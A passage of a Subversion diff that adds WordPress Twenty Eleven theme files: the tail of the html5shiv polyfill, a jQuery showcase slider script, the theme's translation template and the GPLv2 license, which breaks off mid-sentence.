+a.createElement=function(c){return!e.shivMethods?b.createElem(c):p(c,a,b)};a.createDocumentFragment=Function("h,f","return function(){var n=f.cloneNode(),c=n.createElement;h.shivMethods&&("+m().join().replace(/[\w\-]+/g,function(a){b.createElem(a);b.frag.createElement(a);return'c("'+a+'")'})+");return n}")(e,b.frag)}function q(a){a||(a=f);var b=i(a);if(e.shivCSS&&!j&&!b.hasCSS){var c,d=a;c=d.createElement("p");d=d.getElementsByTagName("head")[0]||d.documentElement;c.innerHTML="x<style>article,aside,dialog,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}mark{background:#FF0;color:#000}template{display:none}</style>";
+c=d.insertBefore(c.lastChild,d.firstChild);b.hasCSS=!!c}g||t(a,b);return a}var k=l.html5||{},s=/^<|^(?:button|map|select|textarea|object|iframe|option|optgroup)$/i,r=/^(?:a|b|code|div|fieldset|h1|h2|h3|h4|h5|h6|i|label|li|ol|p|q|span|strong|style|table|tbody|td|th|tr|ul)$/i,j,o="_html5shiv",h=0,n={},g;(function(){try{var a=f.createElement("a");a.innerHTML="<xyz></xyz>";j="hidden"in a;var b;if(!(b=1==a.childNodes.length)){f.createElement("a");var c=f.createDocumentFragment();b="undefined"==typeof c.cloneNode||
+"undefined"==typeof c.createDocumentFragment||"undefined"==typeof c.createElement}g=b}catch(d){g=j=!0}})();var e={elements:k.elements||"abbr article aside audio bdi canvas data datalist details dialog figcaption figure footer header hgroup main mark meter nav output progress section summary template time video",version:"3.7.0",shivCSS:!1!==k.shivCSS,supportsUnknownElements:g,shivMethods:!1!==k.shivMethods,type:"default",shivDocument:q,createElement:p,createDocumentFragment:function(a,b){a||(a=f);
+if(g)return a.createDocumentFragment();for(var b=b||i(a),c=b.frag.cloneNode(),d=0,e=m(),h=e.length;d<h;d++)c.createElement(e[d]);return c}};l.html5=e;q(f)})(this,document);
Index: /tags/4.1.6/src/wp-content/themes/twentyeleven/js/showcase.js
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyeleven/js/showcase.js	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyeleven/js/showcase.js	(revision 33402)
@@ -0,0 +1,17 @@
+(function($) {
+	$(document).ready( function() {
+	    $('.feature-slider a').click(function(e) {
+	        $('.featured-posts section.featured-post').css({
+	            opacity: 0,
+	            visibility: 'hidden'
+	        });
+	        $(this.hash).css({
+	            opacity: 1,
+	            visibility: 'visible'
+	        });
+	        $('.feature-slider a').removeClass('active');
+	        $(this).addClass('active');
+	        e.preventDefault();
+	    });
+	});
+})(jQuery);
Index: /tags/4.1.6/src/wp-content/themes/twentyeleven/languages/twentyeleven.pot
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyeleven/languages/twentyeleven.pot	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyeleven/languages/twentyeleven.pot	(revision 33402)
@@ -0,0 +1,653 @@
+# Copyright (C) 2014 the WordPress team
+# This file is distributed under the GNU General Public License v2 or later.
+msgid ""
+msgstr ""
+"Project-Id-Version: Twenty Eleven 2.0\n"
+"Report-Msgid-Bugs-To: http://wordpress.org/tags/twentyeleven\n"
+"POT-Creation-Date: 2014-12-18 16:59:49+00:00\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"PO-Revision-Date: 2014-MO-DA HO:MI+ZONE\n"
+"Last-Translator: FULL NAME <EMAIL@ADDRESS>\n"
+"Language-Team: LANGUAGE <LL@li.org>\n"
+
+#: 404.php:17
+msgid "This is somewhat embarrassing, isn&rsquo;t it?"
+msgstr ""
+
+#: 404.php:21
+msgid ""
+"It seems we can&rsquo;t find what you&rsquo;re looking for. Perhaps "
+"searching, or one of the links below, can help."
+msgstr ""
+
+#: 404.php:28
+msgid "Most Used Categories"
+msgstr ""
+
+#. translators: %1$s: smilie
+#: 404.php:36
+msgid "Try looking in the monthly archives. %1$s"
+msgstr ""
+
+#: archive.php:25
+msgid "Daily Archives: %s"
+msgstr ""
+
+#: archive.php:27
+msgid "Monthly Archives: %s"
+msgstr ""
+
+#: archive.php:27
+msgctxt "monthly archives date format"
+msgid "F Y"
+msgstr ""
+
+#: archive.php:29
+msgid "Yearly Archives: %s"
+msgstr ""
+
+#: archive.php:29
+msgctxt "yearly archives date format"
+msgid "Y"
+msgstr ""
+
+#: archive.php:31
+msgid "Blog Archives"
+msgstr ""
+
+#: archive.php:57 author.php:86 category.php:59 index.php:37 search.php:44
+#: tag.php:60
+msgid "Nothing Found"
+msgstr ""
+
+#: archive.php:61 author.php:90 category.php:63 index.php:41 tag.php:64
+msgid ""
+"Apologies, but no results were found for the requested archive. Perhaps "
+"searching will help find a related post."
+msgstr ""
+
+#: author.php:29
+msgid "Author Archives: %s"
+msgstr ""
+
+#: author.php:60 content-single.php:63
+msgid "About %s"
+msgstr ""
+
+#: category.php:19
+msgid "Category Archives: %s"
+msgstr ""
+
+#: comments.php:17
+msgid ""
+"This post is password protected. Enter the password to view any comments."
+msgstr ""
+
+#: comments.php:34
+msgid "One thought on &ldquo;%2$s&rdquo;"
+msgid_plural "%1$s thoughts on &ldquo;%2$s&rdquo;"
+msgstr[0] ""
+msgstr[1] ""
+
+#: comments.php:41 comments.php:62
+msgid "Comment navigation"
+msgstr ""
+
+#: comments.php:42 comments.php:63
+msgid "&larr; Older Comments"
+msgstr ""
+
+#: comments.php:43 comments.php:64
+msgid "Newer Comments &rarr;"
+msgstr ""
+
+#: comments.php:74
+msgid "Comments are closed."
+msgstr ""
+
+#: content-aside.php:19
+msgid "Aside"
+msgstr ""
+
+#: content-aside.php:24 content-image.php:23 content-link.php:24
+#: content-quote.php:24 content-status.php:24 content.php:30
+msgid "Reply"
+msgstr ""
+
+#: content-aside.php:24 content-image.php:23 content-link.php:24
+#: content-quote.php:24 content-status.php:24 content.php:30
+msgctxt "comments number"
+msgid "1"
+msgstr ""
+
+#: content-aside.php:24 content-image.php:23 content-link.php:24
+#: content-quote.php:24 content-status.php:24 content.php:30
+msgctxt "comments number"
+msgid "%"
+msgstr ""
+
+#: content-aside.php:35 content-gallery.php:34 content-image.php:29
+#: content-link.php:35 content-quote.php:35 content-status.php:48
+#: content.php:41 functions.php:375
+msgid "Continue reading <span class=\"meta-nav\">&rarr;</span>"
+msgstr ""
+
+#: content-aside.php:36 content-featured.php:23 content-gallery.php:52
+#: content-image.php:30 content-intro.php:18 content-link.php:36
+#: content-page.php:18 content-quote.php:36 content-single.php:24
+#: content-status.php:49 content.php:42 image.php:98
+msgid "Pages:"
+msgstr ""
+
+#: content-aside.php:44 content-gallery.php:85 content-image.php:66
+#: content-link.php:44 content-quote.php:69 content-status.php:57
+#: content.php:79 showcase.php:202
+msgid "Leave a reply"
+msgstr ""
+
+#: content-aside.php:44 content-gallery.php:85 content-image.php:66
+#: content-link.php:44 content-quote.php:69 content-status.php:57
+#: content.php:79 showcase.php:202
+msgid "<b>1</b> Reply"
+msgstr ""
+
+#: content-aside.php:44 content-gallery.php:85 content-image.php:66
+#: content-link.php:44 content-quote.php:69 content-status.php:57
+#: content.php:79 showcase.php:202
+msgid "<b>%</b> Replies"
+msgstr ""
+
+#: content-aside.php:46 content-featured.php:45 content-gallery.php:88
+#: content-image.php:70 content-intro.php:19 content-link.php:46
+#: content-page.php:21 content-quote.php:72 content-single.php:52
+#: content-status.php:59 content.php:82 functions.php:609 functions.php:637
+#: image.php:41
+msgid "Edit"
+msgstr ""
+
+#. translators: used between list items, there is a space after the comma
+#: content-featured.php:29 content-featured.php:38 content-gallery.php:60
+#: content-gallery.php:70 content-image.php:49 content-image.php:58
+#: content-quote.php:44 content-quote.php:54 content-single.php:30
+#: content-single.php:33 content.php:51 content.php:63
+msgid ", "
+msgstr ""
+
+#: content-featured.php:31
+msgid ""
+"This entry was posted in %1$s and tagged %2$s. Bookmark the <a href=\"%3$s\" "
+"title=\"Permalink to %4$s\" rel=\"bookmark\">permalink</a>."
+msgstr ""
+
+#: content-featured.php:33
+msgid ""
+"This entry was posted in %1$s. Bookmark the <a href=\"%3$s\" title="
+"\"Permalink to %4$s\" rel=\"bookmark\">permalink</a>."
+msgstr ""
+
+#: content-gallery.php:19
+msgid "Gallery"
+msgstr ""
+
+#: content-gallery.php:45
+msgid "This gallery contains <a %1$s>%2$s photo</a>."
+msgid_plural "This gallery contains <a %1$s>%2$s photos</a>."
+msgstr[0] ""
+msgstr[1] ""
+
+#: content-gallery.php:46 showcase.php:121
+msgid "Permalink to %s"
+msgstr ""
+
+#: content-gallery.php:64 content-image.php:53 content-quote.php:48
+#: content.php:55
+msgid "<span class=\"%1$s\">Posted in</span> %2$s"
+msgstr ""
+
+#: content-gallery.php:76 content-image.php:61 content-quote.php:60
+#: content.php:69
+msgid "<span class=\"%1$s\">Tagged</span> %2$s"
+msgstr ""
+
+#: content-image.php:18
+msgid "Image"
+msgstr ""
+
+#: content-image.php:36
+msgid ""
+"<a href=\"%1$s\" rel=\"bookmark\"><time class=\"entry-date\" datetime=\"%2$s"
+"\">%3$s</time></a><span class=\"by-author\"> <span class=\"sep\"> by </span> "
+"<span class=\"author vcard\"><a class=\"url fn n\" href=\"%4$s\" title=\"%5$s"
+"\" rel=\"author\">%6$s</a></span></span>"
+msgstr ""
+
+#: content-image.php:41 functions.php:675
+msgid "View all posts by %s"
+msgstr ""
+
+#: content-link.php:19
+msgid "Link"
+msgstr ""
+
+#: content-quote.php:15
+msgid "Quote"
+msgstr ""
+
+#: content-single.php:35
+msgid ""
+"This entry was posted in %1$s and tagged %2$s by <a href=\"%6$s\">%5$s</a>. "
+"Bookmark the <a href=\"%3$s\" title=\"Permalink to %4$s\" rel=\"bookmark"
+"\">permalink</a>."
+msgstr ""
+
+#: content-single.php:37
+msgid ""
+"This entry was posted in %1$s by <a href=\"%6$s\">%5$s</a>. Bookmark the <a "
+"href=\"%3$s\" title=\"Permalink to %4$s\" rel=\"bookmark\">permalink</a>."
+msgstr ""
+
+#: content-single.php:39
+msgid ""
+"This entry was posted by <a href=\"%6$s\">%5$s</a>. Bookmark the <a href="
+"\"%3$s\" title=\"Permalink to %4$s\" rel=\"bookmark\">permalink</a>."
+msgstr ""
+
+#: content-single.php:67
+msgid "View all posts by %s <span class=\"meta-nav\">&rarr;</span>"
+msgstr ""
+
+#: content-status.php:19
+msgid "Status"
+msgstr ""
+
+#: content.php:16
+msgid "Featured"
+msgstr ""
+
+#. #-#-#-#-#  twentyeleven.pot (Twenty Eleven 2.0)  #-#-#-#-#
+#. Author URI of the plugin/theme
+#: footer.php:28
+msgid "http://wordpress.org/"
+msgstr ""
+
+#: footer.php:28
+msgid "Semantic Personal Publishing Platform"
+msgstr ""
+
+#: footer.php:28
+msgid "Proudly powered by %s"
+msgstr ""
+
+#: functions.php:95
+msgid "Primary Menu"
+msgstr ""
+
+#. translators: header image description
+#: functions.php:184
+msgid "Wheel"
+msgstr ""
+
+#. translators: header image description
+#: functions.php:190
+msgid "Shore"
+msgstr ""
+
+#. translators: header image description
+#: functions.php:196
+msgid "Trolley"
+msgstr ""
+
+#. translators: header image description
+#: functions.php:202
+msgid "Pine Cone"
+msgstr ""
+
+#. translators: header image description
+#: functions.php:208
+msgid "Chessboard"
+msgstr ""
+
+#. translators: header image description
+#: functions.php:214
+msgid "Lanterns"
+msgstr ""
+
+#. translators: header image description
+#: functions.php:220
+msgid "Willow"
+msgstr ""
+
+#. translators: header image description
+#: functions.php:226
+msgid "Hanoi Plant"
+msgstr ""
+
+#: functions.php:446
+msgid "Main Sidebar"
+msgstr ""
+
+#: functions.php:455
+msgid "Showcase Sidebar"
+msgstr ""
+
+#: functions.php:457
+msgid "The sidebar for the optional Showcase Template"
+msgstr ""
+
+#: functions.php:465
+msgid "Footer Area One"
+msgstr ""
+
+#: functions.php:467 functions.php:477 functions.php:487
+msgid "An optional widget area for your site footer"
+msgstr ""
+
+#: functions.php:475
+msgid "Footer Area Two"
+msgstr ""
+
+#: functions.php:485
+msgid "Footer Area Three"
+msgstr ""
+
+#: functions.php:509 single.php:18
+msgid "Post navigation"
+msgstr ""
+
+#: functions.php:510
+msgid "<span class=\"meta-nav\">&larr;</span> Older posts"
+msgstr ""
+
+#: functions.php:511
+msgid "Newer posts <span class=\"meta-nav\">&rarr;</span>"
+msgstr ""
+
+#: functions.php:609
+msgid "Pingback:"
+msgstr ""
+
+#. translators: 1: comment author, 2: date and time
+#: functions.php:626
+msgid "%1$s on %2$s <span class=\"says\">said:</span>"
+msgstr ""
+
+#. translators: 1: date, 2: time
+#: functions.php:632
+msgid "%1$s at %2$s"
+msgstr ""
+
+#: functions.php:641
+msgid "Your comment is awaiting moderation."
+msgstr ""
+
+#: functions.php:650
+msgid "Reply <span>&darr;</span>"
+msgstr ""
+
+#: functions.php:669
+msgid ""
+"<span class=\"sep\">Posted on </span><a href=\"%1$s\" title=\"%2$s\" rel="
+"\"bookmark\"><time class=\"entry-date\" datetime=\"%3$s\">%4$s</time></"
+"a><span class=\"by-author\"> <span class=\"sep\"> by </span> <span class="
+"\"author vcard\"><a class=\"url fn n\" href=\"%5$s\" title=\"%6$s\" rel="
+"\"author\">%7$s</a></span></span>"
+msgstr ""
+
+#: header.php:43
+msgid "Page %s"
+msgstr ""
+
+#: header.php:133
+msgid "Main menu"
+msgstr ""
+
+#: header.php:135
+msgid "Skip to primary content"
+msgstr ""
+
+#: header.php:137
+msgid "Skip to secondary content"
+msgstr ""
+
+#: image.php:18
+msgid "Image navigation"
+msgstr ""
+
+#: image.php:19
+msgid "&larr; Previous"
+msgstr ""
+
+#: image.php:20
+msgid "Next &rarr;"
+msgstr ""
+
+#: image.php:30
+msgid ""
+"<span class=\"meta-prep meta-prep-entry-date\">Published </span> <span class="
+"\"entry-date\"><abbr class=\"published\" title=\"%1$s\">%2$s</abbr></span> "
+"at <a href=\"%3$s\" title=\"Link to full-size image\">%4$s &times; %5$s</a> "
+"in <a href=\"%6$s\" title=\"Return to %7$s\" rel=\"gallery\">%8$s</a>"
+msgstr ""
+
+#: inc/theme-options.php:56 inc/theme-options.php:528
+msgid "Color Scheme"
+msgstr ""
+
+#: inc/theme-options.php:62 inc/theme-options.php:545
+msgid "Link Color"
+msgstr ""
+
+#: inc/theme-options.php:63
+msgid "Default Layout"
+msgstr ""
+
+#: inc/theme-options.php:95 inc/theme-options.php:96
+msgid "Theme Options"
+msgstr ""
+
+#: inc/theme-options.php:111
+msgid ""
+"Some themes provide customization options that are grouped together on a "
+"Theme Options screen. If you change themes, options may change or disappear, "
+"as they are theme-specific. Your current theme, Twenty Eleven, provides the "
+"following Theme Options:"
+msgstr ""
+
+#: inc/theme-options.php:113
+msgid ""
+"<strong>Color Scheme</strong>: You can choose a color palette of \"Light"
+"\" (light background with dark text) or \"Dark\" (dark background with light "
+"text) for your site."
+msgstr ""
+
+#: inc/theme-options.php:114
+msgid ""
+"<strong>Link Color</strong>: You can choose the color used for text links on "
+"your site. You can enter the HTML color or hex code, or you can choose "
+"visually by clicking the \"Select a Color\" button to pick from a color "
+"wheel."
+msgstr ""
+
+#: inc/theme-options.php:115
+msgid ""
+"<strong>Default Layout</strong>: You can choose if you want your site&#8217;"
+"s default layout to have a sidebar on the left, the right, or not at all."
+msgstr ""
+
+#: inc/theme-options.php:117
+msgid ""
+"Remember to click \"Save Changes\" to save any changes you have made to the "
+"theme options."
+msgstr ""
+
+#: inc/theme-options.php:119
+msgid "For more information:"
+msgstr ""
+
+#: inc/theme-options.php:120
+msgid ""
+"<a href=\"http://codex.wordpress.org/Appearance_Theme_Options_Screen\" "
+"target=\"_blank\">Documentation on Theme Options</a>"
+msgstr ""
+
+#: inc/theme-options.php:121
+msgid ""
+"<a href=\"http://wordpress.org/support/\" target=\"_blank\">Support Forums</"
+"a>"
+msgstr ""
+
+#: inc/theme-options.php:128
+msgid "Overview"
+msgstr ""
+
+#: inc/theme-options.php:150
+msgid "Light"
+msgstr ""
+
+#: inc/theme-options.php:156
+msgid "Dark"
+msgstr ""
+
+#: inc/theme-options.php:181
+msgid "Content on left"
+msgstr ""
+
+#: inc/theme-options.php:186
+msgid "Content on right"
+msgstr ""
+
+#: inc/theme-options.php:191
+msgid "One-column, no sidebar"
+msgstr ""
+
+#: inc/theme-options.php:298
+msgid "Select a Color"
+msgstr ""
+
+#: inc/theme-options.php:301
+msgid "Default color: %s"
+msgstr ""
+
+#: inc/theme-options.php:337
+msgid "%s Theme Options"
+msgstr ""
+
+#: inc/theme-options.php:552
+msgid "Layout"
+msgstr ""
+
+#: inc/widgets.php:21
+msgid ""
+"Use this widget to list your recent Aside, Status, Quote, and Link posts"
+msgstr ""
+
+#: inc/widgets.php:22
+msgid "Twenty Eleven Ephemera"
+msgstr ""
+
+#: inc/widgets.php:56
+msgid "Ephemera"
+msgstr ""
+
+#: inc/widgets.php:95 inc/widgets.php:104
+msgid "0 <span class=\"reply\">comments &rarr;</span>"
+msgstr ""
+
+#: inc/widgets.php:95 inc/widgets.php:104
+msgid "1 <span class=\"reply\">comment &rarr;</span>"
+msgstr ""
+
+#: inc/widgets.php:95 inc/widgets.php:104
+msgid "% <span class=\"reply\">comments &rarr;</span>"
+msgstr ""
+
+#: inc/widgets.php:167
+msgid "Title:"
+msgstr ""
+
+#: inc/widgets.php:170
+msgid "Number of posts to show:"
+msgstr ""
+
+#: search.php:18
+msgid "Search Results for: %s"
+msgstr ""
+
+#: search.php:48
+msgid ""
+"Sorry, but nothing matched your search criteria. Please try again with some "
+"different keywords."
+msgstr ""
+
+#: searchform.php:11 searchform.php:12 searchform.php:13
+msgid "Search"
+msgstr ""
+
+#: showcase.php:78
+msgid "Featured Post"
+msgstr ""
+
+#: showcase.php:151
+msgid "Featuring: %s"
+msgstr ""
+
+#: showcase.php:161
+msgid "Recent Posts"
+msgstr ""
+
+#: sidebar.php:19
+msgid "Archives"
+msgstr ""
+
+#: sidebar.php:26
+msgid "Meta"
+msgstr ""
+
+#: single.php:19
+msgid "<span class=\"meta-nav\">&larr;</span> Previous"
+msgstr ""
+
+#: single.php:20
+msgid "Next <span class=\"meta-nav\">&rarr;</span>"
+msgstr ""
+
+#: tag.php:19
+msgid "Tag Archives: %s"
+msgstr ""
+
+#. Theme Name of the plugin/theme
+msgid "Twenty Eleven"
+msgstr ""
+
+#. Theme URI of the plugin/theme
+msgid "http://wordpress.org/themes/twentyeleven"
+msgstr ""
+
+#. Description of the plugin/theme
+msgid ""
+"The 2011 theme for WordPress is sophisticated, lightweight, and adaptable. "
+"Make it yours with a custom menu, header image, and background -- then go "
+"further with available theme options for light or dark color scheme, custom "
+"link colors, and three layout choices. Twenty Eleven comes equipped with a "
+"Showcase page template that transforms your front page into a showcase to "
+"show off your best content, widget support galore (sidebar, three footer "
+"areas, and a Showcase page widget area), and a custom \"Ephemera\" widget to "
+"display your Aside, Link, Quote, or Status posts. Included are styles for "
+"print and for the admin editor, support for featured images (as custom "
+"header images on posts and pages and as large images on featured \"sticky\" "
+"posts), and special styles for six different post formats."
+msgstr ""
+
+#. Author of the plugin/theme
+msgid "the WordPress team"
+msgstr ""
+
+#. Template Name of the plugin/theme
+msgid "Showcase Template"
+msgstr ""
+
+#. Template Name of the plugin/theme
+msgid "Sidebar Template"
+msgstr ""
Index: /tags/4.1.6/src/wp-content/themes/twentyeleven/license.txt
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyeleven/license.txt	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyeleven/license.txt	(revision 33402)
@@ -0,0 +1,281 @@
+		    GNU GENERAL PUBLIC LICENSE
+		       Version 2, June 1991
+
+ Copyright (C) 1989, 1991 Free Software Foundation, Inc. 
+              51 Franklin St, Fifth Floor, Boston, MA 02110, USA
+
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+			    Preamble
+
+  The licenses for most software are designed to take away your
+freedom to share and change it.  By contrast, the GNU General Public
+License is intended to guarantee your freedom to share and change free
+software--to make sure the software is free for all its users.  This
+General Public License applies to most of the Free Software
+Foundation's software and to any other program whose authors commit to
+using it.  (Some other Free Software Foundation software is covered by
+the GNU Library General Public License instead.)  You can apply it to
+your programs, too.
+
+  When we speak of free software, we are referring to freedom, not
+price.  Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+this service if you wish), that you receive source code or can get it
+if you want it, that you can change the software or use pieces of it
+in new free programs; and that you know you can do these things.
+
+  To protect your rights, we need to make restrictions that forbid
+anyone to deny you these rights or to ask you to surrender the rights.
+These restrictions translate to certain responsibilities for you if you
+distribute copies of the software, or if you modify it.
+
+  For example, if you distribute copies of such a program, whether
+gratis or for a fee, you must give the recipients all the rights that
+you have.  You must make sure that they, too, receive or can get the
+source code.  And you must show them these terms so they know their
+rights.
+
+  We protect your rights with two steps: (1) copyright the software, and
+(2) offer you this license which gives you legal permission to copy,
+distribute and/or modify the software.
+
+  Also, for each author's protection and ours, we want to make certain
+that everyone understands that there is no warranty for this free
+software.  If the software is modified by someone else and passed on, we
+want its recipients to know that what they have is not the original, so
+that any problems introduced by others will not reflect on the original
+authors' reputations.
+
+  Finally, any free program is threatened constantly by software
+patents.  We wish to avoid the danger that redistributors of a free
+program will individually obtain patent licenses, in effect making the
+program proprietary.  To prevent this, we have made it clear that any
+patent must be licensed for everyone's free use or not licensed at all.
+
+  The precise terms and conditions for copying, distribution and
+modification follow.
+
+		    GNU GENERAL PUBLIC LICENSE
+   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+  0. This License applies to any program or other work which contains
+a notice placed by the copyright holder saying it may be distributed
+under the terms of this General Public License.  The "Program", below,
+refers to any such program or work, and a "work based on the Program"
+means either the Program or any derivative work under copyright law:
+that is to say, a work containing the Program or a portion of it,
+either verbatim or with modifications and/or translated into another
+language.  (Hereinafter, translation is included without limitation in
+the term "modification".)  Each licensee is addressed as "you".
+
+Activities other than copying, distribution and modification are not
+covered by this License; they are outside its scope.  The act of
+running the Program is not restricted, and the output from the Program
+is covered only if its contents constitute a work based on the
+Program (independent of having been made by running the Program).
+Whether that is true depends on what the Program does.
+
+  1. You may copy and distribute verbatim copies of the Program's
+source code as you receive it, in any medium, provided that you
+conspicuously and appropriately publish on each copy an appropriate
+copyright notice and disclaimer of warranty; keep intact all the
+notices that refer to this License and to the absence of any warranty;
+and give any other recipients of the Program a copy of this License
+along with the Program.
+
+You may charge a fee for the physical act of transferring a copy, and
+you may at your option offer warranty protection in exchange for a fee.
+
+  2. You may modify your copy or copies of the Program or any portion
+of it, thus forming a work based on the Program, and copy and
+distribute such modifications or work under the terms of Section 1
+above, provided that you also meet all of these conditions:
+
+    a) You must cause the modified files to carry prominent notices
+    stating that you changed the files and the date of any change.
+
+    b) You must cause any work that you distribute or publish, that in
+    whole or in part contains or is derived from the Program or any
+    part thereof, to be licensed as a whole at no charge to all third
+    parties under the terms of this License.
+
+    c) If the modified program normally reads commands interactively
+    when run, you must cause it, when started running for such
+    interactive use in the most ordinary way, to print or display an
+    announcement including an appropriate copyright notice and a
+    notice that there is no warranty (or else, saying that you provide
+    a warranty) and that users may redistribute the program under
+    these conditions, and telling the user how to view a copy of this
+    License.  (Exception: if the Program itself is interactive but
+    does not normally print such an announcement, your work based on
+    the Program is not required to print an announcement.)
+
+These requirements apply to the modified work as a whole.  If
+identifiable sections of that work are not derived from the Program,
+and can be reasonably considered independent and separate works in
+themselves, then this License, and its terms, do not apply to those
+sections when you distribute them as separate works.  But when you
+distribute the same sections as part of a whole which is a work based
+on the Program, the distribution of the whole must be on the terms of
+this License, whose permissions for other licensees extend to the
+entire whole, and thus to each and every part regardless of who wrote it.
+Thus, it is not the intent of this section to claim rights or contest
+your rights to work written entirely by you; rather, the intent is to
+exercise the right to control the distribution of derivative or
+collective works based on the Program.
+
+In addition, mere aggregation of another work not based on the Program
+with the Program (or with a work based on the Program) on a volume of
+a storage or distribution medium does not bring the other work under
+the scope of this License.
+
+  3. You may copy and distribute the Program (or a work based on it,
+under Section 2) in object code or executable form under the terms of
+Sections 1 and 2 above provided that you also do one of the following:
+
+    a) Accompany it with the complete corresponding machine-readable
+    source code, which must be distributed under the terms of Sections
+    1 and 2 above on a medium customarily used for software interchange; or,
+
+    b) Accompany it with a written offer, valid for at least three
+    years, to give any third party, for a charge no more than your
+    cost of physically performing source distribution, a complete
+    machine-readable copy of the corresponding source code, to be
+    distributed under the terms of Sections 1 and 2 above on a medium
+    customarily used for software interchange; or,
+
+    c) Accompany it with the information you received as to the offer
+    to distribute corresponding source code.  (This alternative is
+    allowed only for noncommercial distribution and only if you
+    received the program in object code or executable form with such
+    an offer, in accord with Subsection b above.)
+
+The source code for a work means the preferred form of the work for
+making modifications to it.  For an executable work, complete source
+code means all the source code for all modules it contains, plus any
+associated interface definition files, plus the scripts used to
+control compilation and installation of the executable.  However, as a
+special exception, the source code distributed need not include
+anything that is normally distributed (in either source or binary
+form) with the major components (compiler, kernel, and so on) of the
+operating system on which the executable runs, unless that component
+itself accompanies the executable.
+
+If distribution of executable or object code is made by offering
+access to copy from a designated place, then offering equivalent
+access to copy the source code from the same place counts as
+distribution of the source code, even though third parties are not
+compelled to copy the source along with the object code.
+
+  4. You may not copy, modify, sublicense, or distribute the Program
+except as expressly provided under this License.  Any attempt
+otherwise to copy, modify, sublicense or distribute the Program is
+void, and will automatically terminate your rights under this License.
+However, parties who have received copies, or rights, from you under
+this License will not have their licenses terminated so long as such
+parties remain in full compliance.
+
+  5. You are not required to accept this License, since you have not
+signed it.  However, nothing else grants you permission to modify or
+distribute the Program or its derivative works.  These actions are
+prohibited by law if you do not accept this License.  Therefore, by
+modifying or distributing the Program (or any work based on the
+Program), you indicate your acceptance of this License to do so, and
+all its terms and conditions for copying, distributing or modifying
+the Program or works based on it.
+
+  6. Each time you redistribute the Program (or any work based on the
+Program), the recipient automatically receives a license from the
+original licensor to copy, distribute or modify the Program subject to
+these terms and conditions.  You may not impose any further
+restrictions on the recipients' exercise of the rights granted herein.
+You are not responsible for enforcing compliance by third parties to
+this License.
+
+  7. If, as a consequence of a court judgment or allegation of patent
+infringement or for any other reason (not limited to patent issues),
+conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License.  If you cannot
+distribute so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you
+may not distribute the Program at all.  For example, if a patent
+license would not permit royalty-free redistribution of the Program by
+all those who receive copies directly or indirectly through you, then
+the only way you could satisfy both it and this License would be to
+refrain entirely from distribution of the Program.
+
+If any portion of this section is held invalid or unenforceable under
+any particular circumstance, the balance of the section is intended to
+apply and the section as a whole is intended to apply in other
+circumstances.
+
+It is not the purpose of this section to induce you to infringe any
+patents or other property right claims or to contest validity of any
+such claims; this section has the sole purpose of protecting the
+integrity of the free software distribution system, which is
+implemented by public license practices.  Many people have made
+generous contributions to the wide range of software distributed
+through that system in reliance on consistent application of that
+system; it is up to the author/donor to decide if he or she is willing
+to distribute software through any other system and a licensee cannot
+impose that choice.
+
+This section is intended to make thoroughly clear what is believed to
+be a consequence of the rest of this License.
+
+  8. If the distribution and/or use of the Program is restricted in
+certain countries either by patents or by copyrighted interfaces, the
+original copyright holder who places the Program under this License
+may add an explicit geographical distribution limitation excluding
+those countries, so that distribution is permitted only in or among
+countries not thus excluded.  In such case, this License incorporates
+the limitation as if written in the body of this License.
+
+  9. The Free Software Foundation may publish revised and/or new versions
+of the General Public License from time to time.  Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+Each version is given a distinguishing version number.  If the Program
+specifies a version number of this License which applies to it and "any
+later version", you have the option of following the terms and conditions
+either of that version or of any later version published by the Free
+Software Foundation.  If the Program does not specify a version number of
+this License, you may choose any version ever published by the Free Software
+Foundation.
+
+  10. If you wish to incorporate parts of the Program into other free
+programs whose distribution conditions are different, write to the author
+to ask for permission.  For software which is copyrighted by the Free
+Software Foundation, write to the Free Software Foundation; we sometimes
+make exceptions for this.  Our decision will be guided by the two goals
+of preserving the free status of all derivatives of our free software and
+of promoting the sharing and reuse of software generally.
+
+			    NO WARRANTY
+
+  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
+FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
+OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
+PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
+OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
+MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
+TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
+PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
+REPAIR OR CORRECTION.
+
+  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
+REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
+INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
+OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
+TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
+YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
